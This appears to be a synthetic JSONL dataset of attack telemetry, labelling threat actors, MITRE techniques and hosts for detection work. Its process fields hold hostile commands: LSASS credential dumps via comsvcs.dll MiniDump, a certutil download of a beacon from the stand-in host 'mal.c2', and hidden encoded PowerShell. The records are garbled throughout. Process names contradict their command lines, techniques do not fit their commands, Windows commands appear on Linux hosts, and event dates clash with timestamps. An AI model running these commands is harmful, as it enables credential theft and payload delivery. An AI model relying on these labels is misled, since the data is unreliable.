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Elite_quality_cybersecurity

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{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1531 using fileless technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Persistence","Impact"],"technique_id":"T1531"},"event_id":"evt_mustangpanda_20260408T155952000Z_0005001","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["Fileless","WMI","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.234.189.225","name":"WIN-FIN-SRV-UMIQCWSZIR","os":"Windows Server 2022"},"impact":{"business_risk":"Domain dominance","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5001Mustang PandaT1531"},"network":{"domain":"github.com","dst_ip":"1.112.3.148","dst_port":8443,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1700 C:\\temp\\lsass.dmp full","name":"wmic.exe","parent_name":"svchost.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-10-27T17:03:13.000Z","user":{"name":"CORP\\epkqoz2lfnqw","sid":"S-1-5-21-948445389-969995930-4007"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1566.001 using fileless technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Collection","Execution"],"technique_id":"T1566.001"},"event_id":"evt_scatteredspider_20260308T160323000Z_0005003","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","TLS","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.220.6.141","name":"IAM-ROLE-BM91XKRY55","os":"Windows Server 2022"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5003Scattered SpiderT1566.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.71.61.5","dst_port":445,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"powershell.exe","parent_name":"services.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-11-18T21:59:41.000Z","user":{"name":"svc_7qc9gkiffvqt","sid":"S-1-5-21-884050576-561092162-1642"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1059.001 using fileless technique.","sub_technique":"PowerShell","tactic":["Defense Evasion","Privilege Escalation"],"technique_id":"T1059.001"},"event_id":"evt_unc4841_20250704T012424000Z_0005005","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["LOLBin","TLS","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.86.201.36","name":"APP-WEB-U2H1BNWBDV","os":"Amazon Linux 2"},"impact":{"business_risk":"Domain dominance","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5005UNC4841T1059.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.185.15.248","dst_port":445,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"certutil.exe","parent_name":"svchost.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-06-29T14:54:11.000Z","user":{"name":"svc_36o43zqxfhve","sid":"S-1-5-21-633850968-612057170-4319"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1059.001 using cloud-native technique.","sub_technique":"PowerShell","tactic":["Persistence"],"technique_id":"T1059.001"},"event_id":"evt_apt41_20251112T143323000Z_0005007","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["Fileless","JA3 Spoof","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.82.32.111","name":"APP-WEB-UXX3HDSAIX","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5007APT41T1059.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.189.216.199","dst_port":8443,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3902 C:\\temp\\lsass.dmp full","name":"wmic.exe","parent_name":"winlogon.exe"},"source":"Sysmon (DS0024)","timestamp":"2025-02-11T10:47:10.000Z","user":{"name":"arn:aws:iam::s31ndpn3440u","sid":"S-1-5-21-645776539-893628585-9201"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1098.004 using encrypted C2 technique.","sub_technique":"SSH Authorized Keys","tactic":["Command and Control","Exfiltration"],"technique_id":"T1098.004"},"event_id":"evt_scatteredspider_20250401T193039000Z_0005009","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["LOLBin","WMI","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.2.210.247","name":"IAM-ROLE-RI61ZYJYN6","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5009Scattered SpiderT1098.004"},"network":{"domain":"cdn-content.com","dst_ip":"1.143.190.251","dst_port":5985,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3734 C:\\temp\\lsass.dmp full","name":"cmstp.exe","parent_name":"winlogon.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-03-28T21:28:51.000Z","user":{"name":"CORP\\zmihllq1fon7","sid":"S-1-5-21-115109811-988801894-7580"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1484.001 using encrypted C2 technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Lateral Movement","Execution","Persistence"],"technique_id":"T1484.001"},"event_id":"evt_volttyphoon_20250627T204358000Z_0005011","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["LOLBin","TLS","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.196.1.44","name":"AZURE-VM-906HWP6Z7X","os":"Ubuntu 22.04"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5011Volt TyphoonT1484.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.147.127.240","dst_port":5985,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"powershell.exe","parent_name":"winlogon.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-07-22T00:42:05.000Z","user":{"name":"CORP\\nh7uon5i92vk","sid":"S-1-5-21-674930767-294549106-9115"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1098.004 using LOLBin technique.","sub_technique":"SSH Authorized Keys","tactic":["Collection","Reconnaissance","Exfiltration"],"technique_id":"T1098.004"},"event_id":"evt_apt41_20250914T080906000Z_0005013","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["Base64","TLS","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.88.103.86","name":"EC2-INST-6X1W35W5QY","os":"Windows Server 2022"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5013APT41T1098.004"},"network":{"domain":"github.com","dst_ip":"1.21.159.143","dst_port":443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"mshta.exe","parent_name":"svchost.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-04-02T09:08:56.000Z","user":{"name":"arn:aws:iam::lygfrkmh63ti","sid":"S-1-5-21-874001899-187502008-3637"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1021.006 using encrypted C2 technique.","sub_technique":"Windows Remote Management","tactic":["Collection"],"technique_id":"T1021.006"},"event_id":"evt_scatteredspider_20250302T232414000Z_0005015","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["WMI","Fileless","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.5.193.219","name":"WIN-FIN-SRV-NOZ03S8M4A","os":"Amazon Linux 2"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5015Scattered SpiderT1021.006"},"network":{"domain":"github.com","dst_ip":"1.35.249.200","dst_port":5985,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3248 C:\\temp\\lsass.dmp full","name":"powershell.exe","parent_name":"winlogon.exe"},"source":"Sysmon (DS0024)","timestamp":"2025-11-13T04:25:11.000Z","user":{"name":"arn:aws:iam::1tdiv5s9iynw","sid":"S-1-5-21-554680372-282561929-3998"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1021.006 using cloud-native technique.","sub_technique":"Windows Remote Management","tactic":["Persistence","Initial Access","Discovery"],"technique_id":"T1021.006"},"event_id":"evt_mustangpanda_20251015T071710000Z_0005017","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["Fileless","JA3 Spoof","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.168.130.71","name":"EC2-INST-ZWU4LRE250","os":"Windows Server 2022"},"impact":{"business_risk":"Cloud environment takeover","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5017Mustang PandaT1021.006"},"network":{"domain":"aws.amazon.com","dst_ip":"1.146.16.119","dst_port":8443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2991 C:\\temp\\lsass.dmp full","name":"bitsadmin.exe","parent_name":"explorer.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2025-12-11T21:19:47.000Z","user":{"name":"arn:aws:iam::vgxa4bbtdz94","sid":"S-1-5-21-789371257-816562043-1095"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1003.001 using LOLBin technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Collection"],"technique_id":"T1003.001"},"event_id":"evt_volttyphoon_20250216T044933000Z_0005019","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["TLS","JA3 Spoof","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.119.58.203","name":"AZURE-VM-TZOOR3DL6H","os":"Ubuntu 22.04"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5019Volt TyphoonT1003.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.107.177.159","dst_port":3389,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1316 C:\\temp\\lsass.dmp full","name":"certutil.exe","parent_name":"svchost.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-05-22T19:31:02.000Z","user":{"name":"CORP\\5vx7hfn6qyrg","sid":"S-1-5-21-382525975-893052230-7368"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1003.001 using LOLBin technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Execution"],"technique_id":"T1003.001"},"event_id":"evt_apt41_20251012T121714000Z_0005021","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","WMI","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.211.103.123","name":"APP-WEB-CI3MHWEO1P","os":"Ubuntu 22.04"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5021APT41T1003.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.181.17.86","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"bitsadmin.exe","parent_name":"svchost.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-03-16T11:59:09.000Z","user":{"name":"CORP\\d77re1uqceq6","sid":"S-1-5-21-527917249-404071981-8488"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1531 using encrypted C2 technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Reconnaissance","Defense Evasion","Initial Access"],"technique_id":"T1531"},"event_id":"evt_apt41_20261012T092529000Z_0005023","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["Fileless","Base64","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.34.91.249","name":"EC2-INST-ZFGJ27W890","os":"Windows Server 2022"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5023APT41T1531"},"network":{"domain":"github.com","dst_ip":"1.160.146.121","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1215 C:\\temp\\lsass.dmp full","name":"bitsadmin.exe","parent_name":"winlogon.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-08-14T15:08:02.000Z","user":{"name":"i-6qjiql22uzki","sid":"S-1-5-21-535720225-986847849-1475"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1021.006 using cloud-native technique.","sub_technique":"Windows Remote Management","tactic":["Defense Evasion"],"technique_id":"T1021.006"},"event_id":"evt_fin7_20250305T162338000Z_0005025","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["WMI","TLS","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.132.19.62","name":"DB-ORACLE-G3OLTCIDIB","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5025FIN7T1021.006"},"network":{"domain":"github.com","dst_ip":"1.84.134.76","dst_port":5985,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2605 C:\\temp\\lsass.dmp full","name":"mshta.exe","parent_name":"winlogon.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-02-14T07:41:00.000Z","user":{"name":"arn:aws:iam::much7ln8s4e9","sid":"S-1-5-21-854443038-611210256-3538"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1059.001 using encrypted C2 technique.","sub_technique":"PowerShell","tactic":["Persistence","Initial Access"],"technique_id":"T1059.001"},"event_id":"evt_apt29_20250503T160641000Z_0005027","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["Fileless","Base64","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.60.39.133","name":"DB-ORACLE-HTDKD1RQOK","os":"Amazon Linux 2"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5027APT29T1059.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.15.216.33","dst_port":445,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"cmstp.exe","parent_name":"services.exe"},"source":"Sysmon (DS0024)","timestamp":"2025-10-01T23:45:02.000Z","user":{"name":"i-8lesig2ctk5z","sid":"S-1-5-21-147438501-306982716-3707"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1546.003 using encrypted C2 technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Discovery","Initial Access","Impact"],"technique_id":"T1546.003"},"event_id":"evt_mustangpanda_20261125T140633000Z_0005029","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["LOLBin","Base64","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.67.87.66","name":"IAM-ROLE-JNNOQV5MKT","os":"Ubuntu 22.04"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5029Mustang PandaT1546.003"},"network":{"domain":"aws.amazon.com","dst_ip":"1.172.243.156","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"certutil.exe","parent_name":"svchost.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-12-29T06:29:41.000Z","user":{"name":"i-lprixmcb1rhu","sid":"S-1-5-21-247441489-151864400-3503"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1484.001 using encrypted C2 technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Defense Evasion","Privilege Escalation","Exfiltration"],"technique_id":"T1484.001"},"event_id":"evt_apt29_20260303T055044000Z_0005031","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["LOLBin","TLS","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.168.60.233","name":"IAM-ROLE-JJOKN0BR62","os":"Ubuntu 22.04"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5031APT29T1484.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.57.211.95","dst_port":445,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"powershell.exe","parent_name":"svchost.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-05-06T18:18:44.000Z","user":{"name":"svc_dcyd1c99nmqt","sid":"S-1-5-21-742683453-143254207-1176"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1098.004 using LOLBin technique.","sub_technique":"SSH Authorized Keys","tactic":["Execution"],"technique_id":"T1098.004"},"event_id":"evt_fin7_20250407T075959000Z_0005033","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["Fileless","JA3 Spoof","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.139.160.137","name":"WIN-FIN-SRV-TI6XRO2383","os":"Windows Server 2022"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5033FIN7T1098.004"},"network":{"domain":"cdn-content.com","dst_ip":"1.27.175.139","dst_port":5985,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1269 C:\\temp\\lsass.dmp full","name":"mshta.exe","parent_name":"winlogon.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-11-19T19:31:09.000Z","user":{"name":"arn:aws:iam::g0t8djqk58fz","sid":"S-1-5-21-986329795-902902299-9838"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1531 using fileless technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Impact"],"technique_id":"T1531"},"event_id":"evt_volttyphoon_20250627T053127000Z_0005035","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","Fileless","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.95.164.30","name":"DB-ORACLE-EJ9GCC4SOS","os":"Windows 11"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5035Volt TyphoonT1531"},"network":{"domain":"update.microsoft.com","dst_ip":"1.52.19.152","dst_port":5985,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"wmic.exe","parent_name":"services.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-08-12T02:30:06.000Z","user":{"name":"azuread\\4h8h6dc6co09","sid":"S-1-5-21-190583391-569898066-6909"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1003.001 using LOLBin technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Reconnaissance","Command and Control","Persistence"],"technique_id":"T1003.001"},"event_id":"evt_scatteredspider_20250522T175244000Z_0005037","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["Fileless","Base64","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.85.5.28","name":"DB-ORACLE-KH7GRJNMB9","os":"Amazon Linux 2"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5037Scattered SpiderT1003.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.187.154.119","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"cmstp.exe","parent_name":"services.exe"},"source":"Windows Security Log","timestamp":"2025-07-29T04:06:55.000Z","user":{"name":"arn:aws:iam::t7vvvcb1v070","sid":"S-1-5-21-161308368-304113288-5404"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1484.001 using LOLBin technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Collection"],"technique_id":"T1484.001"},"event_id":"evt_apt41_20260112T214932000Z_0005039","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["Base64","Fileless","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.9.95.44","name":"WIN-FIN-SRV-M0QOWGJ23N","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5039APT41T1484.001"},"network":{"domain":"github.com","dst_ip":"1.125.117.214","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"cmstp.exe","parent_name":"svchost.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2025-05-26T01:55:52.000Z","user":{"name":"i-4egb91yu4fxg","sid":"S-1-5-21-104611893-164841686-2014"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1071.001 using fileless technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Lateral Movement","Credential Access"],"technique_id":"T1071.001"},"event_id":"evt_scatteredspider_20260126T105943000Z_0005041","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["LOLBin","TLS","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.112.134.69","name":"DB-ORACLE-4YXTCI2GFO","os":"Ubuntu 22.04"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5041Scattered SpiderT1071.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.164.166.191","dst_port":443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2128 C:\\temp\\lsass.dmp full","name":"bitsadmin.exe","parent_name":"services.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-08-05T03:35:10.000Z","user":{"name":"i-t7h9p0np3yme","sid":"S-1-5-21-944342311-284957515-5395"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1098.004 using cloud-native technique.","sub_technique":"SSH Authorized Keys","tactic":["Command and Control","Initial Access"],"technique_id":"T1098.004"},"event_id":"evt_apt29_20250509T082151000Z_0005043","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["LOLBin","Base64","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.80.66.193","name":"EC2-INST-M5EKS13BRF","os":"Windows Server 2022"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5043APT29T1098.004"},"network":{"domain":"cdn-content.com","dst_ip":"1.40.124.8","dst_port":443,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"bitsadmin.exe","parent_name":"svchost.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2025-06-22T07:37:39.000Z","user":{"name":"i-j8os2vs4sni9","sid":"S-1-5-21-185791379-343983132-5374"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1531 using fileless technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Exfiltration","Persistence"],"technique_id":"T1531"},"event_id":"evt_fin7_20261110T141832000Z_0005045","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","Fileless","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.192.247.57","name":"EC2-INST-S9NH0QWM7Q","os":"Ubuntu 22.04"},"impact":{"business_risk":"Cloud environment takeover","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5045FIN7T1531"},"network":{"domain":"update.microsoft.com","dst_ip":"1.159.16.116","dst_port":445,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"mshta.exe","parent_name":"explorer.exe"},"source":"Windows Security Log","timestamp":"2026-09-29T04:02:14.000Z","user":{"name":"azuread\\d213ogr9vquh","sid":"S-1-5-21-381373897-294158179-8842"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1566.001 using fileless technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Privilege Escalation"],"technique_id":"T1566.001"},"event_id":"evt_unc4841_20260617T072951000Z_0005047","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["Base64","JA3 Spoof","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.120.103.43","name":"APP-WEB-798K144AUW","os":"Amazon Linux 2"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5047UNC4841T1566.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.103.214.73","dst_port":443,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2978 